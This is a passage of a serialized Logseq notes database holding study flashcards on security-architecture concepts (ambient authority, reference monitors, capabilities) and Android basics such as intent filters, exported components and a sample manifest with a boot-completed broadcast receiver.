Denied)\\n```logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[59,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[59,logseq____&quot;^Flogseq____&quot;,45,536870916]],[logseq____&quot;^15logseq____&quot;,[59,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[59,logseq____&quot;^Vlogseq____&quot;,41,536870916]],[logseq____&quot;^15logseq____&quot;,[59,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[59,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[59,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[59,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-9d35-41d6-abe8-55ba54cd1ec0logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Ambient Authority #card #security-architecture\\nid:: 67b7665b-d447-4148-968c-5e162ec8c3fclogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^Flogseq____&quot;,351,536871283]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^Vlogseq____&quot;,57,536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b7665b-d447-4148-968c-5e162ec8c3fclogseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b7665b-d447-4148-968c-5e162ec8c3fclogseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b7665b-d447-4148-968c-5e162ec8c3fclogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[61,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Tamper proof*: Protection from compromiselogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[61,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[61,logseq____&quot;^Flogseq____&quot;,46,536870916]],[logseq____&quot;^15logseq____&quot;,[61,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[61,logseq____&quot;^Vlogseq____&quot;,51,536870916]],[logseq____&quot;^15logseq____&quot;,[61,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[61,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[61,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[61,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-bf6b-448f-91e6-2c840cc47be9logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[62,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;[Reference monitor]((67b75a09-cf78-4ea2-aee5-d3adb4d9802d)) checks subject against list of authorized subjectslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[62,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[62,logseq____&quot;^Flogseq____&quot;,39,536870916]],[logseq____&quot;^15logseq____&quot;,[62,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[62,logseq____&quot;^Vlogseq____&quot;,57,536870916]],[logseq____&quot;^15logseq____&quot;,[62,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[62,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[62,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[62,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-38c4-47e0-9727-505c6e00d263logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[63,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*subject-centered*: capabilities as *unforgeable*, *tamper-proof* token defining its holderlogseq____&apos;s privilegeslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[63,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[63,logseq____&quot;^Flogseq____&quot;,58,536870916]],[logseq____&quot;^15logseq____&quot;,[63,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[63,logseq____&quot;^Vlogseq____&quot;,58,536870916]],[logseq____&quot;^15logseq____&quot;,[63,logseq____&quot;^Ulogseq____&quot;,2,536870924]],[logseq____&quot;^15logseq____&quot;,[63,logseq____&quot;^Ulogseq____&quot;,37,536870924]],[logseq____&quot;^15logseq____&quot;,[63,logseq____&quot;^Ulogseq____&quot;,38,536870924]],[logseq____&quot;^15logseq____&quot;,[63,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-8c77-48e7-ae66-38a9075f9be1logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[64,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Authorization is based on *subject identity* (only specify the object to access and the operation)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[64,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[64,logseq____&quot;^Flogseq____&quot;,341,536870927]],[logseq____&quot;^15logseq____&quot;,[64,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[64,logseq____&quot;^Vlogseq____&quot;,60,536870916]],[logseq____&quot;^15logseq____&quot;,[64,logseq____&quot;^Ulogseq____&quot;,2,536871284]],[logseq____&quot;^15logseq____&quot;,[64,logseq____&quot;^Ulogseq____&quot;,37,536871284]],[logseq____&quot;^15logseq____&quot;,[64,logseq____&quot;^Ulogseq____&quot;,38,536871284]],[logseq____&quot;^15logseq____&quot;,[64,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-df44-47da-b00b-fbc0dd83bb41logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[74,logseq____&quot;^Klogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[74,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[74,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;broadcast receiver componentslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[74,logseq____&quot;^11logseq____&quot;,logseq____&quot;Broadcast Receiver Componentslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[74,logseq____&quot;^Blogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[74,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-b953-4ec2-a25e-a361e7ca3ae3logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[75,logseq____&quot;^Klogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[75,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[75,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;intent messageslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[75,logseq____&quot;^11logseq____&quot;,logseq____&quot;Intent Messageslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[75,logseq____&quot;^Blogseq____&quot;,1740134121672,536872930]],[logseq____&quot;^15logseq____&quot;,[75,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-94a0-40a3-b32d-a72461ad5a6dlogseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[76,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Intent Filters\\nid:: 6717978c-801a-4383-b970-cffcfbb13343logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[76,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[76,logseq____&quot;^Flogseq____&quot;,85,536870916]],[logseq____&quot;^15logseq____&quot;,[76,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[76,logseq____&quot;^Vlogseq____&quot;,90,536870916]],[logseq____&quot;^15logseq____&quot;,[76,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[76,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[76,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[76,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;6717978c-801a-4383-b970-cffcfbb13343logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536876191]],[logseq____&quot;^15logseq____&quot;,[76,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536876191]],[logseq____&quot;^15logseq____&quot;,[76,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;6717978c-801a-4383-b970-cffcfbb13343logseq____&quot;],536876191]],[logseq____&quot;^15logseq____&quot;,[76,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u6717978c-801a-4383-b970-cffcfbb13343logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[77,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Due to privacy concerns, apps do not have access to a list of installed packageslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[77,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[77,logseq____&quot;^Flogseq____&quot;,92,536870916]],[logseq____&quot;^15logseq____&quot;,[77,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[77,logseq____&quot;^Vlogseq____&quot;,92,536870916]],[logseq____&quot;^15logseq____&quot;,[77,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[77,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[77,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[77,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-68e2-496b-b0b7-4a9500a37147logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[78,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Example\\nid:: 6717ce84-d0f0-48ee-8138-2dd29ce1cc0elogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[78,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[78,logseq____&quot;^Flogseq____&quot;,86,536870916]],[logseq____&quot;^15logseq____&quot;,[78,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[78,logseq____&quot;^Vlogseq____&quot;,79,536870916]],[logseq____&quot;^15logseq____&quot;,[78,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[78,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[78,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[78,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;6717ce84-d0f0-48ee-8138-2dd29ce1cc0elogseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536876191]],[logseq____&quot;^15logseq____&quot;,[78,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536876191]],[logseq____&quot;^15logseq____&quot;,[78,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;6717ce84-d0f0-48ee-8138-2dd29ce1cc0elogseq____&quot;],536876191]],[logseq____&quot;^15logseq____&quot;,[78,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u6717ce84-d0f0-48ee-8138-2dd29ce1cc0elogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Declares #card #android-basicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^Flogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^Vlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536876191]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^Jlogseq____&quot;,[],536876191]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^Hlogseq____&quot;,2,536876191]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^Hlogseq____&quot;,24,536876191]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-5684-4d9e-bdb0-a7a50eb1b95alogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[80,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Example: see ((6717ce84-d0f0-48ee-8138-2dd29ce1cc0e))logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[80,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[80,logseq____&quot;^Flogseq____&quot;,83,536870916]],[logseq____&quot;^15logseq____&quot;,[80,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[80,logseq____&quot;^Vlogseq____&quot;,76,536870916]],[logseq____&quot;^15logseq____&quot;,[80,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[80,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[80,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[80,logseq____&quot;^Hlogseq____&quot;,78,536876191]],[logseq____&quot;^15logseq____&quot;,[80,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-3759-40e7-b7d1-4509693c6052logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[81,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;if set to `true`, another application can call this component using [Intents]([[Intent Messages]])logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[81,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[81,logseq____&quot;^Flogseq____&quot;,91,536870916]],[logseq____&quot;^15logseq____&quot;,[81,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[81,logseq____&quot;^Vlogseq____&quot;,85,536870916]],[logseq____&quot;^15logseq____&quot;,[81,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[81,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[81,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[81,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[81,logseq____&quot;^Hlogseq____&quot;,75,536876191]],[logseq____&quot;^15logseq____&quot;,[81,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-b13e-4962-a444-45ec6b447692logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[82,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```xml\\nlogseq____&lt;manifest xmlns:android=\\logseq____&quot;http://schemas.android.com/apk/res/android\\logseq____&quot;\\n xmlns:tools=\\logseq____&quot;http://schemas.android.com/tools\\logseq____&quot;logseq____&gt;\\n logseq____&lt;application\\n\\tandroid:icon=\\logseq____&quot;@mipmap/ic_launcher\\logseq____&quot;\\n\\tandroid:label=\\logseq____&quot;@string/app_name”\\n\\t...\\n\\tandroid:roundIcon=\\logseq____&quot;@mipmap/ic_launcher_round\\logseq____&quot;\\n\\ttools:targetApi=\\logseq____&quot;31\\logseq____&quot;logseq____&gt;\\n\\t\\n\\t\\tlogseq____&lt;activity android:name=\\logseq____&quot;.MainActivity” android:exported=\\logseq____&quot;true\\logseq____&quot;logseq____&gt;\\n\\t\\t\\tlogseq____&lt;intent-filterlogseq____&gt;\\n\\t\\t\\t\\tlogseq____&lt;action android:name=\\logseq____&quot;android.intent.action.MAIN\\logseq____&quot; /logseq____&gt;\\n\\t\\t\\t\\tlogseq____&lt;category android:name=\\logseq____&quot;android.intent.category.LAUNCHER\\logseq____&quot; /logseq____&gt;\\n\\t\\t\\tlogseq____&lt;/intent-filterlogseq____&gt;\\n\\t\\tlogseq____&lt;/activitylogseq____&gt;\\n\\n \\t\\tlogseq____&lt;receiver android:name=”.MyReceiver\\logseq____&quot; logseq____&gt;\\n\\t\\t\\tlogseq____&lt;intent-filterlogseq____&gt;\\n\\t\\t\\tlogseq____&lt;action android:name=\\logseq____&quot;android.intent.action.BOOT_COMPLETED\\logseq____&quot; /logseq____&gt;\\n\\t\\t\\tlogseq____&lt;/intent-filterlogseq____&gt;\\n\\t\\tlogseq____&lt;/receiverlogseq____&gt;\\n\\t\\t...\\n\\tlogseq____&lt;/applicationlogseq____&gt;\\nlogseq____&lt;/manifestlogseq____&gt;\\n```logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[82,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[82,logseq____&quot;^Flogseq____&quot;,78,536870916]],[logseq____&quot;^15logseq____&quot;,[82,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[82,logseq____&quot;^Vlogseq____&quot;,78,536870916]],[logseq____&quot;^15logseq____&quot;,[82,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[82,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[82,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[82,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-627f-48c9-be08-c3c802d79962logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[83,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Specify information about which [Intents]([[Intent Messages]]) the component receiveslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[83,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[83,logseq____&quot;^Flogseq____&quot;,76,536870916]],[logseq____&quot;^15logseq____&quot;,[83,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[83,logseq____&quot;^Vlogseq____&quot;,76,536870916]],[logseq____&quot;^15logseq____&quot;,[83,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[83,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[83,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[83,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[83,logseq____&quot;^Hlogseq____&quot;,75,536876191]],[logseq____&quot;^15logseq____&quot;,[83,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-0343-4963-8e6d-f4f3e985cc37logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[84,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Example: see ((6717ce84-d0f0-48ee-8138-2dd29ce1cc0e))logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[84,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[84,logseq____&quot;^Flogseq____&quot;,87,536870916]],[logseq____&quot;^15logseq____&quot;,[84,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[84,logseq____&quot;^Vlogseq____&quot;,85,536870916]],[logseq____&quot;^15logseq____&quot;,[84,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[84,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[84,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[84,logseq____&quot;^Hlogseq____&quot;,78,536876191]],[logseq____&quot;^15logseq____&quot;,[84,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-0b5d-46a6-9fcd-e09676b8135clogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[85,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Exportedlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[85,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[85,logseq____&quot;^Flogseq____&quot;,90,536870916]],[logseq____&quot;^15logseq____&quot;,[85,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[85,logseq____&quot;^Vlogseq____&quot;,90,536870916]],[logseq____&quot;^15logseq____&quot;,[85,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[85,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[85,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[85,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536876191]],[logseq____&quot;^15logseq____&quot;,[85,logseq____&quot;^Jlogseq____&quot;,[],536876191]],[logseq____&quot;^15logseq____&quot;,[85,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-b6b4-45f9-b63f-912fb07b8e00logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;components ([[Activity]], [BroadcastReceiver]([[Broadcast Receiver]]) etc.)logseq____&quot;,536873236]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Flogseq____&quot;,88,536870916]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Vlogseq____&quot;,79,536870916]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Ulogseq____&quot;,27,536870916]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Ulogseq____&quot;,74,536870916]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Ulogseq____&quot;,410,536873236]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Ulogseq____&quot;,411,536873236]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Hlogseq____&quot;,410,536876191]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Hlogseq____&quot;,411,536876191]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-f491-470d-b484-74282d4e99a0logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[87,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Otherwise, it can only be invoked by components of the same app or a privileged system componentlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[87,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[87,logseq____&quot;^Flogseq____&quot;,81,536870916]],[logseq____&quot;^15logseq____&quot;,[87,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[87,logseq____&quot;^Vlogseq____&quot;,85,536870916]],[logseq____&quot;^15logseq____&quot;,[87,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[87,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[87,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[87,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-02e6-4434-bd2b-7d2d62af330elogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[88,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;application meta-data (Launcher Icon, name)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[88,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[88,logseq____&quot;^Flogseq____&quot;,79,536870916]],[logseq____&quot;^15logseq____&quot;,[88,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[88,logseq____&quot;^Vlogseq____&quot;,79,536870916]],[logseq____&quot;^15logseq____&quot;,[88,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[88,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[88,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[88,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-9493-4ffb-bb41-6815271ded6dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[89,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;If needed, apps can *query* other packages via their explicit name or declare ((6717978c-801a-4383-b970-cffcfbb13343)) that they want to subscribe tologseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[89,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[89,logseq____&quot;^Flogseq____&quot;,77,536870916]],[logseq____&quot;^15logseq____&quot;,[89,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[89,logseq____&quot;^Vlogseq____&quot;,92,536870916]],[logseq____&quot;^15logseq____&quot;,[89,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[89,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[89,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[89,logseq____&quot;^Hlogseq____&quot;,76,536876191]],[logseq____&quot;^15logseq____&quot;,[89,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-7d40-45e